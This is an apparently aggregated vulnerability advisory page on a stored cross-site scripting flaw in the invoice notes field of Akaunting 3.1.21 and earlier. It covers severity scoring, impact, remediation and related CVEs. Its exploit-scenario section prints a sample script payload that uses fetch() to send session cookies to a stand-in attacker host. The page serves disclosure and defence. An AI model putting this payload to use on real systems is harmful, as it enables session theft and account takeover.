Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | While the CVSS score of 5.1 appears moderate, the actual real-world risk is constrained by multiple factors: the attack requires prior authentication (PR:L), victim user interaction (UI:P), and only impacts integrity of other sessions (VI:L), not confidentiality or availability. The CVSS vector shows E:P indicating exploit code exists publicly, which increases practical exploitability. However, the limited scope and authentication requirement reduce this from a critical issue to a medium-priority concern. Organizations with strong access controls limiting who can authenticate to Akaunting and those monitoring for unusual invoice modifications face lower practical risk. The lack of vendor response (noted in description) suggests this may be an abandoned or unmaintained version, elevating priority for organizations still using Akaunting 3.1.21 or earlier. |
| Exploit ScenarioDerived | An authenticated attacker with access to Akaunting creates or modifies an invoice, injecting malicious JavaScript into the notes field (e.g., notes='<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'). When another authenticated user views that invoice, the script executes in their browser context, stealing session cookies or performing actions on their behalf such as modifying invoices, accessing customer data, or transferring funds if payment processing is integrated. The attack requires the victim to view the compromised invoice, making it a social engineering vector when combined with phishing or internal notification workflows. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 05, 2026
Cross-site scripting (XSS) in Akaunting up to version 3.1.21 allows authenticated users to inject malicious scripts via the notes parameter in the Invoice/Billing component, potentially compromising other users' sessions when they view affected invoices. The vulnerability requires user interaction (UI:P) to trigger and has publicly available exploit code; however, vendor remediation response is unknown.
RemediationAI
Upgrade Akaunting to a patched version released after this disclosure if available from the Akaunting project repository or official releases. If no patched version is available, implement immediate compensating controls: restrict authentication access to trusted users only, implement input validation on the notes field to reject HTML/JavaScript characters, apply output encoding (HTML entity encoding) to all invoice notes displayed in the web interface, and deploy a Web Application Firewall with XSS detection rules targeting the notes parameter. Review the public exploit documentation at https://docs.google.com/document/d/1TFwYGdjDblEGCMM0l67PXz0HXZu_iUqWDQZavtM9t1U/edit?usp=sharing to understand attack vectors. Contact Akaunting maintainers or consider switching to actively maintained accounting software if security updates are unavailable.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a reflected or stored XSS flaw (CWE-79) in Akaunting's Invoice/Billing processing module, specifically in how the notes parameter is handled without sufficient input sanitization or output encoding. Akaunting is an open-source accounting and invoicing platform written in PHP/Laravel. The notes field accepts user input that is rendered in the web interface without proper HTML entity encoding or Content Security Policy protections, allowing attackers to embed JavaScript that executes in the context of other authenticated users' browsers. This is a classic unsafe data flow where user-controlled input flows directly to HTML rendering without validation.
Know when Akaunting gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
4DescriptionCVE.org
A vulnerability has been found in Akaunting up to 3.1.21. This issue affects some unknown processing of the component Invoice/Billing. The manipulation of the argument notes leads to cross site scripting. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
An OS command injection vulnerability exists in Akaunting v3.1.3 and earlier. Rated critical severity (CVSS 9.8), this v
Akaunting version 2.1.12 and earlier suffers from a code injection issue in the Money.php component of the application.
Akaunting version 2.1.12 and earlier suffers from a password reset spoofing vulnerability, wherein an attacker can proxy
Akaunting version 2.1.12 and earlier suffers from an authentication bypass issue in the user-controllable field, compani
Akaunting version 2.1.12 and earlier suffers from a denial-of-service issue that is triggered by setting a malformed 'lo
Akaunting version 2.1.12 and earlier suffers from a persistent (type II) cross-site scripting (XSS) vulnerability in pro
Akaunting version 2.1.12 and earlier suffers from a persistent (type II) cross-site scripting (XSS) vulnerability in the
Improper authorization in Akaunting 3.1.21's BulkActions dispatcher allows authenticated low-privilege users to perform
Privilege escalation in Akaunting versions 3.1.21 and earlier allows any low-privileged authenticated user to self-assig
Server-side request forgery in Akaunting 3.1.21 allows authenticated attackers to manipulate the Invoice PDF Rendering c
Stored Cross-Site Scripting in Akaunting 3.1.21 allows a high-privileged authenticated user with report creation or upda
Stored cross-site scripting in Akaunting 3.1.21 allows an authenticated high-privileged user to inject arbitrary HTML an
EUVD-2026-19083
NVD
CVE.org
EPSS
Vulnrichment
VulDB
GitHub PoC
Exploit-DB